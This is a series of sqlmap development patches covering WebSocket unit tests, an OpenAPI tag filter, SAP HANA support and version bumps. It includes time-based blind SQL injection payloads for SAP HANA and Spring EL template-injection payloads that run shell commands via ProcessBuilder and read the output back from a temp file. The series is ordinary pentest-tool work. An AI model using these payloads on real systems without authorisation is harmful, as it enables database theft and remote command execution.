(c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native WebSocket client in +lib/request/websocket.py: the RFC 6455 accept-key computation, client frame masking, +the length-encoding boundaries (7/16/64-bit), fragment reassembly and control-frame +handling. No socket is opened - frames are fed through a primed buffer and a fake sink. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import base64 +import hashlib +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.websocket import ( + WebSocket, + WebSocketConnectionClosedException, + WebSocketTimeoutException, + _GUID, + OPCODE_TEXT, + OPCODE_CONTINUATION, + OPCODE_PING, + OPCODE_CLOSE, +) + + +class _FakeSock(object): + """Captures everything the client sends, so masked client frames / PONGs can be inspected.""" + def __init__(self): + self.sent = b"" + + def sendall(self, data): + self.sent += data + + def close(self): + pass + + +def _serverFrame(data, opcode=OPCODE_TEXT, fin=1): + """Build an (unmasked, server->client) frame carrying data.""" + if not isinstance(data, bytes): + data = data.encode("utf-8") + frame = bytearray([(fin << 7) | opcode]) + length = len(data) + if length < 126: + frame.append(length) + elif length < 65536: + frame.append(126); frame += struct.pack("!H", length) + else: + frame.append(127); frame += struct.pack("!Q", length) + frame += data + return bytes(frame) + + +def _client(buffer=b""): + ws = WebSocket.__new__(WebSocket) # bypass connect(): no socket + ws.sock = _FakeSock() + ws.status = 101 + ws._headers = {} + ws._timeout = None + ws._buffer = buffer + ws._closed = False + return ws + + +class TestWebSocket(unittest.TestCase): + def test_accept_key_rfc6455_vector(self): + # RFC 6455 section 1.3 canonical example + key = "dGhlIHNhbXBsZSBub25jZQ==" + accept = base64.b64encode(hashlib.sha1((key + _GUID).encode("ascii")).digest()).decode("ascii") + self.assertEqual(accept, "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=") + + def test_client_frame_is_masked_and_roundtrips(self): + ws = _client() + ws._sendFrame(b"hello", OPCODE_TEXT) + raw = ws.sock.sent + self.assertEqual(bytearray(raw)[0], 0x80 | OPCODE_TEXT) # FIN + text + self.assertTrue(bytearray(raw)[1] & 0x80, "client frame must set the mask bit") + + # feeding the client's own (masked) frame back through the parser must recover the payload + fin, opcode, payload = _client(raw)._recvFrame() + self.assertEqual((fin, opcode, bytes(payload)), (1, OPCODE_TEXT, b"hello")) + + def test_length_encoding_boundaries(self): + for size in (125, 126, 65535, 65536): + ws = _client() + ws._sendFrame(b"A" * size, OPCODE_TEXT) + fin, opcode, payload = _client(ws.sock.sent)._recvFrame() + self.assertEqual(len(payload), size, msg="round-trip failed at length %d" % size) + + def test_recv_reassembles_fragments(self): + buf = _serverFrame("ab", OPCODE_TEXT, fin=0) + _serverFrame("cd", OPCODE_CONTINUATION, fin=1) + self.assertEqual(_client(buf).recv(), "abcd") + + def test_recv_answers_ping_then_returns_data(self): + ws = _client(_serverFrame("hi", OPCODE_PING) + _serverFrame("data", OPCODE_TEXT)) + self.assertEqual(ws.recv(), "data") + # a PONG (opcode 0xA) carrying the ping payload must have been sent back + pong = bytearray(ws.sock.sent) + self.assertEqual(pong[0], 0x80 | 0xA) + + def test_recv_close_raises(self): + ws = _client(_serverFrame(struct.pack("!H", 1000), OPCODE_CLOSE)) + self.assertRaises(WebSocketConnectionClosedException, ws.recv) + + def test_read_timeout_maps_to_ws_timeout(self): + import socket as _socket + import ssl as _ssl + + class _RaisingSock(object): + def __init__(self, exc): + self.exc = exc + def recv(self, n): + raise self.exc + + # both a plain socket timeout and Python 2's TLS 'read operation timed out' must surface as + # WebSocketTimeoutException (sqlmap's frame loop relies on it), while other SSL errors propagate + for exc in (_socket.timeout("timed out"), _ssl.SSLError("The read operation timed out")): + ws = _client(); ws.sock = _RaisingSock(exc) + self.assertRaises(WebSocketTimeoutException, ws.recv) + + ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed")) + self.assertRaises(_ssl.SSLError, ws.recv) + + +if __name__ == "__main__": + unittest.main() From 622cfa76c6837cd2bbf2a3da8f0c04408a022d47 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 14:13:21 +0200 Subject: [PATCH 715/853] Adding --openapi-tags --- lib/core/option.py | 7 ++++++- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/parse/openapi.py | 9 +++++++-- tests/test_openapi.py | 19 +++++++++++++++++++ 6 files changed, 37 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index ad80c4a5279..d61134aa5ab 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -521,8 +521,13 @@ def _setOpenApiTargets(): logger.info(infoMsg) content = openFile(conf.openApiFile).read() + tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None + if tags: + infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags) + logger.info(infoMsg) + try: - targets = openApiTargets(content, origin) + targets = openApiTargets(content, origin, tags) except ValueError as ex: errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 3e7fa93c499..f51325e4839 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -21,6 +21,7 @@ "configFile": "string", "openApiFile": "string", "openApiBase": "string", + "openApiTags": "string", }, "Request": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 1b227713bab..7cc1507aa27 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.57" +VERSION = "1.10.7.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 817e12f6aa0..f603961bc29 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -150,6 +150,9 @@ def cmdLineParser(argv=None): target.add_argument("--openapi-base", dest="openApiBase", help="Base URL for a host-less OpenAPI/Swagger spec") + target.add_argument("--openapi-tags", dest="openApiTags", + help="Only derive targets from operations with these tag(s)") + # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") diff --git a/lib/parse/openapi.py b/lib/parse/openapi.py index 996b5ece6a4..05054208c06 100644 --- a/lib/parse/openapi.py +++ b/lib/parse/openapi.py @@ -206,15 +206,18 @@ def _baseUrl(spec, origin=None, servers=None): _METHODS = ("get", "post", "put", "delete", "patch", "options", "head") -def openApiTargets(content, origin=None): +def openApiTargets(content, origin=None, tags=None): """ Returns a list of (url, method, data, headers) request tuples derived from an OpenAPI/Swagger specification. 'headers' is a list of (name, value) tuples (matching conf.httpHeaders). 'origin' (scheme://host[:port] of the specification's own location) is used only to resolve RELATIVE 'servers' entries - absolute server URLs are used as declared. Path parameters and header/cookie values carry - the custom injection mark so they become testable injection points. + the custom injection mark so they become testable injection points. 'tags' (list) restricts extraction + to operations declaring at least one of those OpenAPI tags (to scope a scan of a large API). """ + tagSet = set(tags) if tags else None + spec = _loadSpec(content) if not isinstance(spec, dict) or not isinstance(spec.get("paths"), dict) or not spec.get("paths"): errMsg = "no valid 'paths' object found in the provided OpenAPI/Swagger specification" @@ -236,6 +239,8 @@ def openApiTargets(content, origin=None): for method, operation in item.items(): if str(method).lower() not in _METHODS or not isinstance(operation, dict): # str(): YAML keys can be non-string (e.g. 404, 'on'->bool) continue + if tagSet is not None and not (tagSet & set(_ for _ in (operation.get("tags") or []) if isinstance(_, six.string_types))): + continue # '--openapi-tags' filter: operation carries none of the requested tags try: # effective base URL with OpenAPI precedence: operation 'servers' > path-item 'servers' > root opServers = operation.get("servers") or item.get("servers") diff --git a/tests/test_openapi.py b/tests/test_openapi.py index 40c8cd9305a..f5ed80b464a 100644 --- a/tests/test_openapi.py +++ b/tests/test_openapi.py @@ -134,6 +134,25 @@ def test_header_and_cookie_params_are_injection_marked(self): self.assertEqual(headers["X-Api"], "k" + MARK) self.assertEqual(headers["Cookie"], "sess=v" + MARK) + def test_tag_filter_restricts_operations(self): + # '--openapi-tags' keeps only operations declaring at least one requested tag; untagged + # operations are dropped when a filter is active + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.test"}], "paths": { + "/users/{id}": {"get": {"tags": ["users"], "parameters": [{"name": "id", "in": "path", "schema": {"type": "integer"}}]}}, + "/admin": {"post": {"tags": ["admin"], "parameters": [{"name": "q", "in": "query", "schema": {"type": "string"}}]}}, + "/ping": {"get": {"parameters": [{"name": "x", "in": "query", "schema": {"type": "string"}}]}}}} + content = json.dumps(spec) + + self.assertEqual(len(openApiTargets(content)), 3) # no filter -> everything + self.assertEqual(len(openApiTargets(content, tags=["nope"])), 0) # no match -> nothing (incl. untagged) + + users = openApiTargets(content, tags=["users"]) + self.assertEqual(len(users), 1) + self.assertIn("/users/", users[0][0]) + + both = openApiTargets(content, tags=["users", "admin"]) # union of tags + self.assertEqual(sorted(_[1] for _ in both), ["GET", "POST"]) + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- def test_malformed_raises_valueerror(self): From 3784f8bafd3478392f19aa9e48a75dffd0dcaefd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 17:06:00 +0200 Subject: [PATCH 716/853] Expand SAP HANA: role-aware is_dba, heavy-query time-based, error signatures --- data/xml/errors.xml | 7 +++ data/xml/payloads/time_blind.xml | 77 ++++++++++++++++++++++++++++++++ data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- 4 files changed, 86 insertions(+), 2 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index f066da0b92d..ddf34d51e9a 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -256,4 +256,11 @@ + + + + + + + diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index f521deb8f06..fe9de254cc4 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -2170,5 +2170,82 @@ + + SAP HANA AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ + + SAP HANA OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ + + SAP HANA AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + -- + + + + +
+ SAP HANA +
+
+ + + SAP HANA time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3,9 + 3 + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 55b6a6d7ee3..a56c6a64683 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1959,7 +1959,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index e6aa502b36c..9d30f29ba3e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.59" +VERSION = "1.10.7.60" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2aafdc0e46a82912a7fd02bc52df55956f4beee5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 17:19:10 +0200 Subject: [PATCH 717/853] Update of THANKS.md --- doc/THANKS.md | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index fcc746a266a..aa636fdeb20 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -623,6 +623,9 @@ Thierry Zoller, Zhen Zhou, * for suggesting a feature +Zakaria Zoulati, +* for contributing SAP HANA support + -insane-, * for reporting a minor bug diff --git a/lib/core/settings.py b/lib/core/settings.py index 9d30f29ba3e..4b82bc89063 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.60" +VERSION = "1.10.7.61" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2a9da9d9e586c3a8adf3cb70f62cfecd447b9cbb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 17:32:05 +0200 Subject: [PATCH 718/853] Fixing CI/CD errors --- data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- tests/test_agent.py | 2 ++ 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index a56c6a64683..b72925b1c58 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1951,7 +1951,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 4b82bc89063..98fe36e4469 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.61" +VERSION = "1.10.7.62" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_agent.py b/tests/test_agent.py index 203e2789691..211fbb7fd8a 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -94,6 +94,7 @@ "PostgreSQL": "COALESCE", "Presto": "COALESCE", "Raima Database Manager": "IFNULL", + "SAP HANA": "IFNULL", "SAP MaxDB": "VALUE", "SQLite": "COALESCE", "Snowflake": "NVL", @@ -115,6 +116,7 @@ "Oracle": "RAWTOHEX(", "PostgreSQL": "ENCODE(", "Presto": "TO_HEX(", + "SAP HANA": "BINTOHEX(", "SAP MaxDB": "HEX(", "SQLite": "HEX(", "Spanner": "TO_HEX(", From 6ece3c61bfcc06031467cdfe15ad88ccf20c1841 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 22:52:53 +0200 Subject: [PATCH 719/853] Minor update related to SAP HANA --- data/xml/queries.xml | 6 +++--- lib/core/settings.py | 2 +- plugins/generic/databases.py | 8 ++++---- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index b72925b1c58..5642709245f 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1952,13 +1952,13 @@ - + - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 98fe36e4469..343e8e806d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.62" +VERSION = "1.10.7.63" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 40cea0743a0..7b50b634460 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -334,7 +334,7 @@ def getTables(self, bruteForce=None): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.HANA): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -443,7 +443,7 @@ def getTables(self, bruteForce=None): for table in tables: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.HANA): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -787,7 +787,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -864,7 +864,7 @@ def columnNameQuery(index): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.isDbms(DBMS.MIMERSQL): + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL, DBMS.HANA): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None From df6c50add2692b37c58f07c21a4149b8ead41523 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 9 Jul 2026 23:37:40 +0200 Subject: [PATCH 720/853] Minor patch --- data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 5642709245f..addf84a4643 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1837,7 +1837,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index 343e8e806d1..eee0036452f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.63" +VERSION = "1.10.7.64" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 346c9d9f030e64fc8ab6f1aa578e6ff5b9be8bb5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 07:58:07 +0200 Subject: [PATCH 721/853] Minor patch --- lib/core/settings.py | 2 +- lib/techniques/ssti/inject.py | 139 ++++++++++++++++++++++------------ tests/test_ssti.py | 41 ++++++++++ 3 files changed, 133 insertions(+), 49 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index eee0036452f..ef706ccadb9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.64" +VERSION = "1.10.7.65" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/ssti/inject.py b/lib/techniques/ssti/inject.py index 736a70b5166..d8d6a283b24 100644 --- a/lib/techniques/ssti/inject.py +++ b/lib/techniques/ssti/inject.py @@ -684,6 +684,78 @@ def _canTakeover(engine, evidence): return True +# Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private +# java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any +# recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the +# command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read +# that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path. +_FILE_RCE = { + "Spring EL / Thymeleaf": ( + "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}", + "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", + ), +} + + +def _commandOutput(page, baseline, original, payload, engine): + """Extract genuine command output from a response via baseline diff, rejecting error pages and + reflected-payload fragments. Returns the cleaned output string, or None when there is none.""" + if not page: + return None + if engine.errorRegex and _isError(page, engine): + return None + + text = getUnicode(page) + baseText = getUnicode(baseline or "") + output = "" + + if baseText and text != baseText: + sm = difflib.SequenceMatcher(None, baseText, text) + parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")] + if parts: + output = "".join(parts).strip() + + if not output: + output = text + if original and output.startswith(original): + output = output[len(original):] + output = output.strip() + + # A template that ECHOED our payload directive instead of executing it is reflection, not output. + if output and output in payload: + return None + + if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: + if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): + return output + + return None + + +def _fileRceCapture(place, parameter, engine, original, cmd, extract): + """Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload + (redirects the command's output to a random temp file), then poll-read that file. 'extract' is a + callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), + so the read is retried a few times. Returns whatever 'extract' yields, else None.""" + spec = _FILE_RCE.get(engine.name) + if not spec: + return None + + execTemplate, readTemplate = spec + outFile = "/tmp/%s" % randomStr(length=12, lowercase=True) + execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile) + _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored + + readPayload = readTemplate.replace("{OUTFILE}", outFile) + for _ in range(3): + page = _send(place, parameter, original + readPayload) + result = extract(readPayload, page) + if result is not None: + return result + time.sleep(1) + return None + + def _probeRce(place, parameter, engine): """Benign, quiet RCE-capability check: run `echo ` via the engine's RCE payloads and return True if the marker is reflected (proving OS command execution is reachable). Used only @@ -699,12 +771,16 @@ def _probeRce(place, parameter, engine): page = _send(place, parameter, original + payload) if page and marker in getUnicode(page): return True - return False + + # in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel + return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker, + lambda readPayload, page: True if (page and marker in getUnicode(page)) else None)) def _executeCommand(place, parameter, engine, cmd): - """Execute an OS command via the engine's RCE payloads, trying each fallback - in order until one produces output. Captures output via baseline diff.""" + """Execute an OS command via the engine's RCE payloads, trying each fallback in order until one + produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened + Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE).""" safeCmd = _escapeSingleQuoted(cmd) original = _originalValue(place, parameter) or "" @@ -712,49 +788,16 @@ def _executeCommand(place, parameter, engine, cmd): for payloadTemplate, description in engine.rcePayloads: payload = payloadTemplate.replace("{CMD}", safeCmd) - fullPayload = original + payload - page = _send(place, parameter, fullPayload) - - if not page: - continue - - # Skip error pages (payload caused a template exception, not a shell) - if engine.errorRegex and _isError(page, engine): - continue - - text = getUnicode(page) - baseText = getUnicode(baseline or "") - output = "" - - if baseText and text != baseText: - sm = difflib.SequenceMatcher(None, baseText, text) - opcodes = sm.get_opcodes() - parts = [] - for tag, i1, i2, j1, j2 in opcodes: - if tag in ("insert", "replace"): - parts.append(text[j1:j2]) - if parts: - output = "".join(parts).strip() - - if not output: - output = text - if original and output.startswith(original): - output = output[len(original):] - output = output.strip() - - # A template that ECHOED our payload directive instead of executing it (e.g. a patched or - # sandboxed Velocity reflecting the literal "$ex.waitFor()") is reflection, not command - # output: reject it so the loop falls through to the honest "no output received" warning - # instead of presenting a reflected payload fragment as a fake command result. - if output and output in payload: - continue - - # Suppress when output is just the baseline with the original value removed - # (command produced no output; the template rendered empty) - # Filter out template error messages masquerading as command output - if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: - if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): - conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output)) - return + page = _send(place, parameter, original + payload) + output = _commandOutput(page, baseline, original, payload, engine) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output)) + return + + output = _fileRceCapture(place, parameter, engine, original, cmd, + lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine)) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output)) + return - logger.warning("no output received for OS command '%s' (tried %d payload(s))" % (cmd, len(engine.rcePayloads))) + logger.warning("no output received for OS command '%s'" % cmd) diff --git a/tests/test_ssti.py b/tests/test_ssti.py index 8a5e15e9a4d..d8a3aadaea2 100644 --- a/tests/test_ssti.py +++ b/tests/test_ssti.py @@ -575,3 +575,44 @@ def test_mako_distinguished_from_freemarker_spring(self): result, evidence = ssti._fingerprint("GET", "q") self.assertEqual(result.name, "Mako") self.assertTrue(evidence.get("boolean")) + + +class TestFileBasedRce(unittest.TestCase): + """Two-step file-based RCE fallback (_FILE_RCE) for JDK-hardened Java engines: modern JVMs + reflectively block Process.getInputStream(), so in-band stdout capture errors out; exec-to-tempfile + then read-file must still recover the command output.""" + + def setUp(self): + from lib.core.data import conf + self._send = ssti._send + self._dumper = conf.dumper + captured = self.captured = [] + + class _Dumper(object): + def singleString(self, text, **kwargs): + captured.append(text) + + conf.dumper = _Dumper() + + def tearDown(self): + from lib.core.data import conf + ssti._send = self._send + conf.dumper = self._dumper + + def test_spel_output_via_file_when_inband_blocked(self): + engine = next(e for e in ssti._ENGINE_TABLE if e.name == "Spring EL / Thymeleaf") + self.assertIn(engine.name, ssti._FILE_RCE) # engine wired for the two-step fallback + + def mock(place, parameter, value): + if "ProcessBuilder" in value: # exec step: launches (render error, ignored) + return "org.springframework.expression.spel.SpelEvaluationException: EL1001E" + if "readAllBytes" in value: # read step: the temp file's content + return "Hello uid=0(root) gid=0(root)" + if "Runtime" in value or "getInputStream" in value: # in-band capture blocked on hardened JDK + return 